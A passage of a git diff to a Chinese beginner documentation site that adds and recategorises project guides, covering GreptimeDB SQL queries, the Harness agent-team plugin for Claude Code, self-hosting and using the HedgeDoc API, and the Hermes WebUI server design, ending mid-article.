+) WITH ('append_mode' = 'true');
+
+-- 插入模拟数据（略，假设三张表都已经有数据了）
+
+-- 第二步：一个 SQL 查询，关联三类数据
+WITH
+  -- 每个时间窗口内的 p95 延迟（指标）
+  metrics AS (
+    SELECT
+      host,
+      ROUND(AVG(latency), 2) AS avg_latency
+    FROM grpc_latencies
+    WHERE ts >= '2024-07-11 20:00:00'
+    GROUP BY host
+  ),
+  -- 每个时间窗口内的错误日志数量
+  logs AS (
+    SELECT
+      host,
+      COUNT(*) AS error_count
+    FROM app_logs
+    WHERE ts >= '2024-07-11 20:00:00'
+    GROUP BY host
+  )
+-- 第三步：JOIN 关联，一张表回答所有问题
+SELECT
+  m.host,
+  m.avg_latency,
+  COALESCE(l.error_count, 0) AS error_count
+FROM metrics m
+LEFT JOIN logs l ON m.host = l.host
+ORDER BY m.avg_latency DESC;
+```
+
+**这段 SQL 在做什么？**
+1. `WITH` 子句分别计算每个信号的数据（指标用 AVG、日志用 COUNT）
+2. `LEFT JOIN` 把它们拼在一起
+3. 一条查询就能看出"延迟高 = 错误多"的相关性
+
+在传统三件套（Prometheus + Loki + Jaeger）中，这需要三个系统各查一次，然后人工比对时间戳。
+
+### 示例 3：窗口聚合（Range Query）
+
+时序数据最常见的分析是"按时间窗口聚合"。GreptimeDB 提供了简洁的 RANGE 语法：
+
+```sql
+-- 每 5 秒一个窗口，计算每个窗口的平均延迟
+SELECT
+  ts,
+  host,
+  AVG(latency) RANGE '5s' AS avg_latency
+FROM grpc_latencies
+ALIGN '5s' FILL PREV
+WHERE ts >= '2024-07-11 20:00:00'
+  AND ts < '2024-07-11 20:01:00';
+```
+
+这里：
+- `RANGE '5s'` 表示每 5 秒聚合一次
+- `ALIGN '5s'` 对齐到 5 秒的整数倍
+- `FILL PREV` 如果一个窗口没有数据，就填充前一个窗口的值
+
+---
+
+## 与其他数据库的对比
+
+| 能力 | GreptimeDB | Prometheus | InfluxDB | TimescaleDB |
+|------|-----------|------------|----------|-------------|
+| 指标 | ✅ | ✅ | ✅ | ✅ |
+| 日志 | ✅ | ❌ | ❌ | ❌ |
+| 链路追踪 | ✅ | ❌ | ❌ | ❌ |
+| 查询语言 | SQL + PromQL | PromQL | Flux/SQL | SQL |
+| 对象存储 | ✅ | 需 Thanos | 有限 | ❌ |
+| 云原生 | 原生 | 需额外组件 | 有限 | 有限 |
+| 语言 | Rust | Go | Go | C/PostgreSQL |
+
+---
+
+## 典型使用场景
+
+1. **IT 可观测性**：替代 Prometheus + Loki + Jaeger 三件套，统一管理指标、日志、链路
+2. **IoT 物联网**：传感器数据的高频写入和高效压缩，配合对象存储降低海量数据成本
+3. **金融审计日志**：利用 SQL 能力做合规查询和分析
+4. **游戏服务器监控**：玩家行为、服务器性能、日志关联分析
+
+---
+
+## 学习资源
+
+- 官方文档：https://docs.greptime.com
+- GitHub：https://github.com/GreptimeTeam/greptimedb
+- 快速入门指南：https://docs.greptime.com/getting-started/quick-start
+- 数据模型文档：https://docs.greptime.com/user-guide/concepts/data-model/
+
+---
+
+## 小结
+
+GreptimeDB 的核心价值可以用一句话概括：**一个数据库，三类信号，一条 SQL。**
+
+对于零基础学习者，最关键的理解是：
+1. 时序数据库以"时间"为中心组织数据
+2. Tag 是分类标签，Field 是实际测量值
+3. 过去三套系统做的事，现在一套系统能搞定
+4. SQL 是通用的查询和管理语言
diff --git a/src/content/docs/projects/hadolint.md b/src/content/docs/projects/hadolint.md
index 77341a466..71d48b369 100644
--- a/src/content/docs/projects/hadolint.md
+++ b/src/content/docs/projects/hadolint.md
@@ -2,8 +2,8 @@
 title: hadolint — 给 Dockerfile 做体检的小工具
 来源: https://github.com/hadolint/hadolint
 日期: 2026-05-31
-子分类: 命令行工具
-分类: CLI
+子分类: DevOps 与运维
+分类: 基础设施
 难度: 入门
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/projects/harness.md b/src/content/docs/projects/harness.md
new file mode 100644
index 000000000..2c20efe21
--- /dev/null
+++ b/src/content/docs/projects/harness.md
@@ -0,0 +1,165 @@
+---
+title: Harness — Agent 团队架构工厂
+来源: https://github.com/revfactory/harness
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Harness 是 Revfactory 用 HTML 写的 **Claude Code 插件**，它在 L3 元工厂层（Meta-Factory Layer），做的是"工厂的工厂"——不是自己干活的 agent，而是根据你对项目的描述，自动生成一整套 agent 团队和它们使用的技能。
+
+日常类比：你要开一家餐厅，普通 Claude Code 像一个全能厨师，什么都会做但什么都一般；Harness 像一个餐厅策划师，你说"我要开日料店"，它就帮你设计厨师团队：寿司师傅、拉面师傅、服务员、质检员，还给他们每人写一本操作手册。之后 Claude Code 就按这个团队分工来工作。
+
+## 核心概念
+
+### 1. 6 种团队架构模式
+
+Harness 不是随意分配任务，而是从 6 种预定义的架构模式中挑选最适合你项目的那一种：
+
+| 模式 | 适用场景 | 生活类比 |
+|------|----------|----------|
+| Pipeline（流水线） | 任务有先后顺序 | 工厂装配线，上一步做完交给下一步 |
+| Fan-out/Fan-in（扇出扇入） | 多个独立任务可并行 | 一个经理把活分给几个人同时干，最后汇总 |
+| Expert Pool（专家池） | 需要按问题类型选对人 | 医院的分诊台，不同症状找不同科室 |
+| Producer-Reviewer（生产者-评审者） | 写完后需要质量把关 | 文章写完要编辑审稿 |
+| Supervisor（监督者） | 一个主 agent 分配动态任务 | 项目经理根据情况灵活派活 |
+| Hierarchical Delegation（层级委派） | 多层递归分解任务 | 公司从 CEO 到 VP 到总监层层下达 |
+
+### 2. Agent Teams 与 Subagents 两种执行模式
+
+Harness 生成团队后，Claude Code 可以用两种方式执行：
+
+- **Agent Teams**（默认）：像真实的团队合作，agent 之间用 TeamCreate + SendMessage + TaskCreate 协作，适合 2 个以上 agent 需要互相配合的场景
+- **Subagents**：直接调用 Agent 工具，适合一次性任务，不需要 agent 之间沟通
+
+### 3. 六阶段流水线
+
+```
+Phase 1: 领域分析 → Phase 2: 团队架构设计 → Phase 3: Agent 定义生成
+Phase 4: 技能生成 → Phase 5: 集成编排 → Phase 6: 验证测试
+```
+
+每个阶段自动生成文件，输出到项目的 `.claude/agents/` 和 `.claude/skills/` 目录下。
+
+## 代码示例
+
+### 示例 1：安装并触发 Harness
+
+安装只需要一行 Claude Code 命令：
+
+```
+/plugin marketplace add revfactory/harness
+/plugin install harness@harness-marketplace
+```
+
+装好后，在 Claude Code 里输入自然语言描述你的项目：
+
+```
+Build a harness for this project
+```
+
+Claude Code 就会进入 Harness 的六阶段流水线，自动生成团队架构。
+
+### 示例 2：构建一个代码审查团队
+
+假设你在做一个 Python 项目，想让多个 agent 并行审查不同类型的代码问题：
+
+```
+Build a harness for comprehensive code review.
+I want parallel agents checking architecture,
+security vulnerabilities, performance bottlenecks,
+and code style — then merging all findings
+into a single report.
+```
+
+Harness 会分析你的项目，选择 Fan-out/Fan-in 模式（因为 4 个审查任务相互独立可并行），然后生成如下文件结构：
+
+```
+your-project/
+├── .claude/
+│   ├── agents/
+│   │   ├── architect.md          # 架构审查 agent
+│   │   ├── security.md           # 安全审查 agent
+│   │   ├── performance.md        # 性能审查 agent
+│   │   └── stylist.md            # 代码风格审查 agent
+│   └── skills/
+│       ├── review/
+│       │   └── SKILL.md          # 统一评审协调技能
+│       ├── arch-check/
+│       │   └── SKILL.md          # 架构检查技能
+│       ├── sec-check/
+│       │   └── SKILL.md          # 安全检查技能
+│       └── perf-check/
+│           └── SKILL.md          # 性能检查技能
+```
+
+每个 `.md` 文件定义了该 agent 的职责、触发条件、输入输出格式和协作协议。
+
+### 示例 3：输出文件的内容结构
+
+生成的 agent 定义文件（如 `agents/qa.md`）长这样：
+
+```yaml
+# agents/qa.md
+name: qa
+description: 负责全面测试和质量保证的 agent
+team_create:
+  name: qa-team
+  members:
+    - test-designer
+    - bug-finder
+    - regression-checker
+orchestration:
+  pattern: producer-reviewer
+  data_passing:
+    - test_plan -> bug-finder
+    - findings -> regression-checker
+error_handling:
+  fallback: notify-supervisor
+  retry_limit: 3
+```
+
+生成的技能文件（如 `skills/qa/SKILL.md`）则包含 Progressive Disclosure 设计——把信息分层，只在需要时加载详细信息，避免一次性塞满上下文窗口。
+
+## 为什么重要
+
+### 1. 复杂度越高的项目，收益越大
+
+Harness 官方做了一组 A/B 实验（15 个软件工程任务），结果如下：
+
+| 指标 | 不使用 Harness | 使用 Harness | 提升 |
+|------|---------------|-------------|------|
+| 平均质量评分 | 49.5 | 79.3 | +60% |
+| 胜率 | — | 15/15 | 100% |
+| 输出方差 | — | — | -32% |
+
+任务越难，提升越大：基础任务 +23.8，高级任务 +29.6，专家级任务 +36.2。这说明 Harness 的价值不在于让简单任务更快，而在于让困难任务做对。
+
+### 2. 它处于 Claude Code 生态的"元层"
+
+理解 Harness 的定位很重要，它和周围工具的关系：
+
+- **Archon**：同属 L3 层但隔壁房间。Archon 生成确定性的运行时配置，Harness 生成团队架构。两者互补，可以组合使用
+- **meta-harness**：Harness 的 Codex 版本，跨运行时可用
+- **ECC**：在 Harness 之上，用于跨 harness 标准化技能和规则
+- **LangGraph**：不同赛道。LangGraph 侧重长时间运行的状态恢复编排，Harness 侧重 Claude Code 原生的快速团队设计
+
+### 3. 一键产出可维护的团队
+
+没有 Harness 时，手动设计 agent 团队需要：了解 6 种架构模式、知道每种模式何时适用、写每个 agent 的定义文件、设计 agent 之间的数据传递协议。Harness 把这一切变成一句话——你说清楚领域，它搞定剩下所有。
+
+## 关键要点总结
+
+1. Harness 是"工厂的工厂"，生成 agent 团队和技能，不直接干活
+2. 6 种架构模式覆盖常见协作场景，它会自动选最合适的
+3. 输出是标准的 Claude Code agent 定义文件和技能文件，可直接运行
+4. A/B 实验显示 +60% 质量提升，任务越难提升越大
+5. 支持 Agent Teams（多 agent 协作）和 Subagents（单次任务）两种模式
+6. 安装只需两行命令，触发只需一句"Build a harness for this project"
+
+## 思考题
+
+你觉得在什么样的项目里，用 Harness 的收益最大？反过来，什么情况下你可能不需要它？
diff --git a/src/content/docs/projects/hedgedoc.md b/src/content/docs/projects/hedgedoc.md
new file mode 100644
index 000000000..ee8ef1c13
--- /dev/null
+++ b/src/content/docs/projects/hedgedoc.md
@@ -0,0 +1,370 @@
+---
+title: HedgeDoc — 协作 Markdown 编辑
+来源: https://github.com/hedgedoc/hedgedoc
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：共享白板上的「活文档」
+
+想象你和同事在白板前写会议纪要：有人负责打字，有人补充 bullet，有人画架构图——**所有人同时看到同一块板**，不用等 A 改完发 Word、B 再合并第 7 版。
+
+**HedgeDoc**（[hedgedoc/hedgedoc](https://github.com/hedgedoc/hedgedoc)，前身 CodiMD / HackMD）就是浏览器里的 **协作 Markdown 白板**：
+
+- **Markdown 源码** 是统一「书写语言」——标题、列表、代码块、公式都用纯文本表达，可 diff、可导出。
+- **实时协同** 像 Google Docs，但底层是 **WebSocket + CRDT（HedgeDoc 2 用 Yjs）**：多人同时改同一段，光标位置也能互相看见。
+- **一条 URL 即房间**：新建笔记 → 把链接发给队友 → 对方打开就能一起写，无需安装客户端。
+- **同一篇文档还能变幻灯片**：用 Reveal.js 的 slide 语法，会议纪要在写完的瞬间就能 **Slide Mode** 上台演示。
+
+与本地 MarkText / Typora 的「单机 WYSIWYG」不同，HedgeDoc 的核心是 **Web、自托管、多人、实时**。官方 demo 见 [hedgedoc.org](https://hedgedoc.org)；文档 [docs.hedgedoc.org](https://docs.hedgedoc.org/)。
+
+零基础路径：**打开实例 → 新建笔记 → 改权限 → 邀请一人协同 → 试 slide 模式 → （可选）Docker 自建**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：Markdown 协作靠 Git + PR，实时讨论太慢
+
+技术团队写 RFC、运维写 runbook，用 Git 很规范，但 **头脑风暴、站会记录、临时方案** 需要「打开就写、写完即分享」。HedgeDoc 用 **短链接 + 实时同步** 把延迟从「提交—review—merge」降到「打字即可见」。
+
+### 痛点 2：Notion / 飞书文档是 SaaS，数据不在自己手里
+
+HedgeDoc 是 **AGPL-3.0 开源**，可 **自托管**（Docker + PostgreSQL），笔记、上传图片、权限策略都在你的服务器上。适合实验室、内网 wiki、不想把内部设计文档交给第三方的团队。
+
+### 痛点 3：Markdown 编辑器功能散——图、公式、幻灯片各用各的工具
+
+HedgeDoc 在 **同一编辑器** 里集成：
+
+- **Mermaid / PlantUML / Graphviz** 等图表
+- **KaTeX / MathJax** 数学公式
+- **Reveal.js Slide Mode** 演示
+- **YAML front matter** 控制标题、标签、slide 主题
+- 图片 **拖拽 / 粘贴上传**（可配置 imgur、S3、Minio 或本地目录）
+
+### 痛点 4：权限与版本需要简单可控
+
+六种权限档（Freely / Editable / Limited / Locked / Protected / Private）用下拉菜单即可切换；**Revision（修订历史）** 可回溯任意旧版本。比自建 Git 仓库对非程序员更友好。
+
+---
+
+## 核心概念拆解
+
+### 1. Note（笔记）与 URL 身份
+
+每则笔记有一个 **随机 id** 或（在 FreeURL 模式下）**自定义 alias**，对应 URL 如 `https://your-hedgedoc.example.com/abc123`。笔记内容存 **PostgreSQL**（生产推荐），元数据包括标题、权限、修订链、浏览次数等。
+
+| 路径模式 | 含义 |
+|----------|------|
+| `/noteId` | 可编辑视图（权限允许时） |
+| `/s/noteId` | 只读 **Published（发布）** 视图 |
+| `/noteId/slide` | **Slide Mode** 演示视图 |
+| `/noteId/download` | 下载原始 Markdown |
+
+**Publish** 不等于删除编辑链接：发布版给读者，编辑版仍给作者协作。
+
+### 2. 三种视图模式（Desktop / Tablet）
+
+| 模式 | 体验 |
+|------|------|
+| **Edit** | 仅编辑器（CodeMirror） |
+| **Both** | 左写右预览，最常用 |
+| **View** | 仅渲染结果 |
+
+移动端简化为 Edit / View 两档。夜间模式可独立切换编辑区与预览区。
+
+### 3. 权限模型（Permission）
+
+只有 **笔记 Owner** 能改权限。典型档位：
+
+| 档位 | 访客读 | 访客写 | 登录用户写 | 场景 |
+|------|--------|--------|------------|------|
+| **Freely** | ✔ | ✔ | ✔ | 完全开放黑客松白板 |
+| **Editable** | ✔ | ✖ | ✔ | 内网文档，防匿名乱改 |
+| **Limited** | ✖ | ✖ | ✔ | 需登录才能读写的团队空间 |
+| **Private** | ✖ | ✖ | ✖ | 仅 Owner |
+
+自托管时可配合 **OAuth**（GitHub、GitLab、LDAP 等，视实例配置）识别登录用户。
+
+### 4. Revision（修订）与 History
+
+每次保存形成 **revision**，带时间戳 id。可对比、回滚到旧版本——类似 Git history，但在 Web UI 里一键完成。API 提供 `/noteId/revision` 与 `/noteId/revision/{id}` 供自动化拉取。
+
+### 5. Slide Mode 与 `type: slide`
+
+在 YAML front matter 里设 `type: slide`，文档按 **Reveal.js** 规则分页（`---` 分隔 slide）。适合 **技术分享、课程讲义**：写完 Markdown 直接 `/slide` 全屏演示，不必另做 PPT。
+
+### 6. 架构：1.x 与 2.x
+
+| 版本 | 状态 | 技术栈要点 |
+|------|------|------------|
+| **HedgeDoc 1.x**（`master` / Docker `1.10.x`） | **稳定、全球广泛使用** | 单体 Node.js 应用，成熟功能全 |
+| **HedgeDoc 2.x**（`develop`） | **重写中**，Alpha 可试 [hedgedoc.dev](https://hedgedoc.dev) | Monorepo：**NestJS 后端** + **Next.js/React 前端**，协同用 **Yjs + WebSocket**，编辑器 **CodeMirror 6** |
+
+入门与自建优先 **1.x**；关注 2.x 若你需要更现代的权限、API 与前端扩展。两者 AGPL 许可一致。
+
+### 7. 与 CodiMD / HackMD 的关系
+
+HedgeDoc 是 CodiMD 社区延续品牌后的正式名称；数据库与 Docker 镜像可从旧 HackMD/CodiMD **迁移**（见官方 migration 文档）。概念上可理解为 **同一类产品线的开源继任者**。
+
+---
+
+## 第一个协作笔记：从浏览器到权限
+
+### 步骤 1：新建并分享
+
+1. 打开你的 HedgeDoc 实例首页，点 **New note**（或访问 `/new`）。
+2. 浏览器跳转到 `https://实例/随机id`，左侧写 Markdown，右侧实时预览。
+3. 复制地址栏 URL 发给同事；对方打开同一 URL 即进入同一文档（需权限允许写入）。
+
+### 步骤 2：设置权限
+
+右上角 **Permission** 菜单 → 选 **Editable**（登录用户可写、访客只读）或 **Limited**（仅登录用户可读可写）。Owner 可在 Settings 里 **Transfer ownership** 给另一位注册用户。
+
+### 步骤 3：发布只读版
+
+点 **Publish**，获得 `/s/noteId` 链接，适合挂到 README 或发给不需要编辑的读者。编辑链接仍保留在原 `/noteId`。
+
+---
+
+## 代码示例 1：YAML front matter + Slide 演示
+
+HedgeDoc 支持在文首用 YAML 控制标题、标签、幻灯片主题等（[YAML metadata 文档](https://docs.hedgedoc.org/references/yaml-metadata/)）：
+
+```markdown
+---
+title: 季度复盘 — 后端组
+tags: meeting, q2, infra
+type: slide
+slideOptions:
+  transition: fade
+  theme: white
+---
+
+# Q2 后端复盘
+
+---
+
+## 指标概览
+
+- P99 延迟 ↓ 18%
+- 部署频率 ↑ 2.3x
+
+---
+
+## 架构变更
+
+```mermaid
+graph LR
+  A[API Gateway] --> B[Service Mesh]
+  B --> C[PostgreSQL]
+```
+
+---
+
+## 下季度重点
+
+1. 可观测性统一
+2. 多区域容灾演练
+```
+
+保存后访问 `/你的noteId/slide` 即全屏 Reveal 演示；`type: slide` 让编辑器默认按 slide 预览，改稿时更接近「边写边彩排」。
+
+---
+
+## 代码示例 2：Docker Compose 自托管（1.x）
+
+官方最小示例（[Docker 文档](https://docs.hedgedoc.org/setup/docker/)）——**仅供本地试跑，生产需改密码、域名、HTTPS、备份**：
+
+```yaml
+version: '3'
+services:
+  database:
+    image: postgres:17.7-alpine
+    environment:
+      - POSTGRES_USER=hedgedoc
+      - POSTGRES_PASSWORD=password
+      - POSTGRES_DB=hedgedoc
+    volumes:
+      - database:/var/lib/postgresql/data
+    restart: always
+  app:
+    image: quay.io/hedgedoc/hedgedoc:1.10.8
+    environment:
+      - CMD_DB_URL=postgres://hedgedoc:password@database:5432/hedgedoc
+      - CMD_DOMAIN=localhost
+      - CMD_URL_ADDPORT=true
+    volumes:
+      - uploads:/hedgedoc/public/uploads
+    ports:
+      - "3000:3000"
+    restart: always
+    depends_on:
+      - database
+volumes:
+  database:
+  uploads:
+```
+
+```bash
+docker compose up -d
+# 浏览器打开 http://localhost:3000
+```
+
+常用环境变量（详见 configuration docs）：
+
+| 变量 | 作用 |
+|------|------|
+| `CMD_DB_URL` | PostgreSQL 连接串 |
+| `CMD_DOMAIN` | 对外域名，影响生成链接 |
+| `CMD_URL_ADDPORT` | 是否在 URL 中带端口 |
+| `CMD_ALLOW_ORIGIN` | CORS，多域名前端时 |
+| `CMD_IMAGE_UPLOAD_TYPE` | 图片存 imgur / s3 / filesystem 等 |
+
+备份数据库：
+
+```bash
+docker compose exec database pg_dump hedgedoc -U hedgedoc > backup.sql
+```
+
+---
+
+## 代码示例 3：HTTP API 自动化创建笔记
+
+HedgeDoc 1.x 提供 REST 端点（[API 文档](https://docs.hedgedoc.org/dev/api/)），适合 CI 生成报告、脚本导入 Markdown：
+
+```bash
+# 用 POST body 创建新笔记并写入 Markdown
+curl -sS -X POST 'https://your-hedgedoc.example.com/new' \
+  -H 'Content-Type: text/markdown' \
+  --data-binary $'---\ntitle: CI 构建报告\n---\n\n## Build #42\n\n- Status: **green**\n- Duration: 4m12s\n'
+
+# 若 FreeURL 开启，可指定 alias
+curl -sS -X POST 'https://your-hedgedoc.example.com/new/weekly-standup-2026-06-13' \
+  -H 'Content-Type: text/markdown' \
+  --data-binary @standup.md
+
+# 拉取笔记元数据（JSON）
+curl -sS 'https://your-hedgedoc.example.com/abc123/info' | jq .
+
+# 下载原始 Markdown
+curl -sS 'https://your-hedgedoc.example.com/abc123/download' -o note.md
+
+# 实例健康与统计
+curl -sS 'https://your-hedgedoc.example.com/status' | jq .
+```
+
+OpenAPI 描述可用于生成各语言 SDK。注意：未登录时 `/me`、`/history` 等用户接口会返回 403。
+
+---
+
+## 代码示例 4：图表与公式（编辑器内语法）
+
+HedgeDoc 扩展标准 Markdown，下列片段在 **Both** 模式下即时渲染：
+
+````markdown
+## 时序图（Mermaid）
+
+```mermaid
+sequenceDiagram
+  participant U as User
+  participant H as HedgeDoc
+  participant DB as PostgreSQL
+  U->>H: WebSocket 协同编辑
+  H->>DB: 持久化 revision
+```
+
+## 行内与块级公式
+
+行内 $E = mc^2$，块级：
+
+$$
+\int_0^1 x^2 \, dx = \frac{1}{3}
+$$
+
+## 任务清单（GFM）
+
+- [x] 部署 HedgeDoc
+- [ ] 配置 OAuth
+- [ ] 写团队规范
+````
+
+PlantUML、Graphviz、abcjs（乐谱）等同样受支持，具体以实例启用的插件为准。
+
+---
+
+## HedgeDoc 2 前瞻（了解即可）
+
+若你跟踪 `develop` 分支，架构变为：
+
+```
+┌─────────────┐     REST / WS      ┌─────────────┐
+│  Next.js    │ ◄──────────────► │  NestJS     │
+│  Frontend   │   Yjs 协同文档    │  Backend    │
+│  CodeMirror6│                   │  Note/Auth  │
+└─────────────┘                   └──────┬──────┘
+                                         │
+                                         ▼
+                                  PostgreSQL
+```
+
+- **@hedgedoc/commons**：前后端共享类型与协同协议
+- **Yjs CRDT**：无中央锁的并发合并，远程光标由 CodeMirror 插件绘制
+- 功能仍在补齐，**生产环境请继续用 1.x LTS 镜像**
+
+---
+
+## 与相近工具怎么选
+
+| 工具 | 定位 | 与 HedgeDoc 差异 |
+|------|------|------------------|
+| **HackMD 商业云** | 托管 SaaS | 同源理念；HedgeDoc 是开源自建版 |
+| **Notion / 飞书** | 块编辑器 + 数据库 | 非纯 Markdown；HedgeDoc 更轻、可 Git 式导出 `.md` |
+| **Overleaf** | LaTeX 协作 | 排版引擎不同；HedgeDoc 走 Markdown + slide |
+| **Trilium / Logseq** | 个人/树形 PKM | 单机或同步笔记树；HedgeDoc 强调 **单页 URL 实时多人** |
+| **Git + VS Code** | 工程师工作流 | 规范但无实时；HedgeDoc 补 **同步会议文档** 场景 |
+
+选型口诀：**要纯 Markdown + 实时多人 + 能自建 → HedgeDoc**；要个人知识树 → Trilium；要论文 LaTeX → Overleaf。
+
+---
+
+## 常见问题
+
+### 和 Git 是什么关系？
+
+HedgeDoc **不是** Git 替代品。常见做法：会议在 HedgeDoc 共创 → 定稿后 **Download .md** 或 API 导出 → 提交进 Git 仓库做长期归档。也可反向用 API **POST /new** 把 CI 日志推成临时分享页。
+
+### 图片存在哪？
+
+取决于管理员配置：`filesystem`（容器 volume）、**MinIO/S3**、或 **imgur**。自托管时建议对象存储 + 备份策略；注意 Docker 默认 `uploads` 权限 `0700`，Nginx 反代静态文件时可能要设 `UPLOADS_MODE`。
+
+### 能否完全匿名？
+
+Freely 权限下可以，但 Owner 无法审计谁改了什么。**Editable / Limited** 更适合企业内网。2.x 会强化身份与权限模型。
+
+### 升级 1.x 要注意什么？
+
+升级前读 [Release Notes](https://hedgedoc.org/latest-release)；改 `docker-compose.yml` 镜像 tag，`docker compose up` 前 **备份 PostgreSQL**。从 HackMD 迁移时核对数据库用户名（1.7 起默认 `hedgedoc` 而非 `hackmd`）。
+
+---
+
+## 延伸资源
+
+| 资源 | 链接 |
+|------|------|
+| 官网与功能概览 | https://hedgedoc.org/ |
+| 文档站 | https://docs.hedgedoc.org/ |
+| GitHub 仓库 | https://github.com/hedgedoc/hedgedoc |
+| Docker 镜像 | https://quay.io/repository/hedgedoc/hedgedoc |
+| 公共 Demo | https://demo.hedgedoc.org/ |
+| Matrix 社区 | 见 README 中 matrix.org 链接 |
+| HedgeDoc 2 Alpha | https://hedgedoc.dev/ |
+| API / OpenAPI | https://docs.hedgedoc.org/dev/api/ |
+
+---
+
+## 小结
+
+HedgeDoc 把 **Markdown 的简洁** 和 **Google Docs 式实时协作** 合成在 **一条 URL** 里：浏览器即客户端，PostgreSQL 存笔记，权限与修订让团队文档可管可控；Slide Mode、Mermaid、公式则减少「写完再另做 PPT/画图」的切换成本。零基础可从公共 demo 写第一篇协作纪要；有运维能力时用 Docker 在团队内网 **自托管**，数据与链接规则完全在自己手中。跟踪 **2.x + Yjs** 重写可在熟悉 1.x 后再评估迁移——当前学习与实践仍应以 **1.10.x 稳定版** 为主。
diff --git a/src/content/docs/projects/helm.md b/src/content/docs/projects/helm.md
index 28fa14163..26dad2550 100644
--- a/src/content/docs/projects/helm.md
+++ b/src/content/docs/projects/helm.md
@@ -2,7 +2,7 @@
 title: Helm — Kubernetes 包管理器
 来源: https://github.com/helm/helm
 日期: 2026-05-29
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/hermes-webui.md b/src/content/docs/projects/hermes-webui.md
new file mode 100644
index 000000000..abb9c1ae5
--- /dev/null
+++ b/src/content/docs/projects/hermes-webui.md
@@ -0,0 +1,204 @@
+---
+title: Hermes Agent Web/Mobile UI — 零基础学习笔记
+来源: https://github.com/nesquena/hermes-webui
+日期: 2026-06-13
+分类: CLI
+子分类: 开发者工具
+provenance: pipeline-v3
+---
+
+## 1. 日常类比：给 AI 助手装个"遥控面板"
+
+想象一下，你有一个聪明的助手（Hermes Agent），它住在你的服务器上，能干很多事：写代码、查文件、定时执行任务。但问题是，你只能通过黑色终端窗口（命令行）来指挥它，就像只能通过对讲机跟它说话。
+
+Hermes WebUI 做的事情就是给这个助手装了一个网页版的"遥控面板"。你在浏览器里打开它，就能像用聊天软件一样跟 AI 对话，还能看到它做了什么、浏览服务器上的文件、管理历史对话。最酷的是，你的手机也能访问，相当于随时随地的遥控器。
+
+这个项目的核心口号是：**"没有构建步骤，没有框架，没有打包器。只有 Python 和原生 JavaScript。"**
+
+## 2. 核心概念
+
+### 2.1 什么是"Agent"？
+
+Agent（智能体）不是简单的聊天机器人。普通聊天机器人你问一句它答一句，聊完就忘。而 Hermes Agent 有记忆，它会记住你的项目结构、你的编程习惯、你之前做过的事。即使你关掉终端再打开，它还记得上下文。
+
+### 2.2 三栏布局
+
+WebUI 的界面分成三个部分：
+
+| 面板 | 位置 | 功能 |
+|------|------|------|
+| 会话列表 | 左侧 | 管理所有对话（创建、搜索、归档、分组） |
+| 聊天区 | 中间 | 主要的对话区域，AI 的回答会流式显示 |
+| 文件浏览器 | 右侧 | 浏览和编辑服务器上的文件 |
+
+### 2.3 技术栈：极简主义
+
+| 层级 | 技术 | 说明 |
+|------|------|------|
+| 后端 | Python stdlib（http.server） | 不用 Flask、不用 Django，只用 Python 标准库 |
+| 前端 | 原生 JavaScript + CSS | 不用 React、不用 Vue，纯手写 |
+| 通信 | SSE（Server-Sent Events） | 服务器主动推送到浏览器的单向流式通信 |
+| 部署 | 可直接运行或 Docker | 一条命令启动 |
+
+SSE 是什么呢？你可以把它想象成"新闻推送"——一旦 AI 开始回答，回答会一个字一个字地"推"到浏览器上，你就能看到实时打字效果，不用等整个回答完成。
+
+### 2.4 会话持久化
+
+每个对话都会自动保存到磁盘上的 JSON 文件中。即使你关闭浏览器、重启服务器，下次打开还能找到所有历史对话。这就像你的微信聊天记录，不会因为你关了 app 就消失。
+
+## 3. 代码示例
+
+### 示例 1：启动服务器（后端核心）
+
+下面这段代码来自 `server.py`，是 Hermes WebUI 的服务器入口。它展示了如何用不到 50 行 Python 标准库代码搭建一个完整的 HTTP 服务器：
+
+```python
+from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
+
+class Handler(BaseHTTPRequestHandler):
+    protocol_version = "HTTP/1.1"
+    timeout = 30  # 空闲30秒的连接自动断开
+
+    def do_GET(self):
+        # 解析请求路径，比如 /api/chat/stream
+        parsed = urlparse(self.path)
+        # 检查用户是否已登录（如果有密码保护）
+        if not check_auth(self, parsed):
+            return
+        # 根据路径分发到不同的处理函数
+        result = handle_get(self, parsed)
+        if result is False:
+            return j(self, {'error': 'not found'}, status=404)
+
+    def do_POST(self):
+        # 处理发消息、创建会话等写操作
+        result = handle_post(self, parsed)
+```
+
+这里的关键点：
+- `ThreadingHTTPServer` 意味着每个请求在独立的线程中处理，你可以同时打开多个对话
+- `do_GET` / `do_POST` 是 HTTP 的基本方法：GET 用来获取数据，POST 用来提交数据
+- 所有路由逻辑都在 `handle_get` 和 `handle_post` 中用 `if/elif` 链判断，不用任何路由框架
+
+### 示例 2：流式对话（SSE 引擎）
+
+这是 WebUI 最有趣的部分——当你按下发送按钮后，对话是如何实时流式传输的：
+
+```python
+# 浏览器按下"发送"后，先调用这个接口创建一条消息
+# POST /api/chat/start
+# 服务器立即返回一个 stream_id
+stream_id = str(uuid4().hex)
+queue = Queue()  # 创建一个消息队列
+STREAMS[stream_id] = queue
+
+# 在一个后台线程中运行 AI 代理
+threading.Thread(
+    target=_run_agent_streaming,
+    args=(session_id, msg_text, model, workspace, stream_id),
+    daemon=True
+).start()
+
+# 浏览器同时打开这个 SSE 连接
+# GET /api/chat/stream?stream_id=xxx
+# 浏览器会一直"挂着"这个连接，等待服务器推送数据
+
+# SSE 事件类型：
+# token    -> 推送到浏览器的文字片段（实现"打字机"效果）
+# tool     -> AI 调用了工具（比如执行了 ls 命令）
+# approval -> AI 请求用户确认一个危险操作
+# done     -> AI 回答完成，返回完整的会话数据
+# error    -> 出错了
+```
+
+这个设计的巧妙之处在于**两个并行通道**：浏览器同时发起一个 POST 请求（发消息）和一个 GET 请求（等回复）。POST 很快返回，GET 则保持打开状态，服务器有新数据就推过来。
+
+## 4. 关键功能一览
+
+**对话功能**
+- 流式响应：AI 回答一个字一个字显示
+- 编辑历史消息：可以修改之前发过的消息，然后重新生成
+- 工具调用卡片：AI 执行的每个操作都展示为可展开的卡片
+- 代码块复制：一键复制代码片段
+- 语音输入：浏览器麦克风直接转文字
+
+**会话管理**
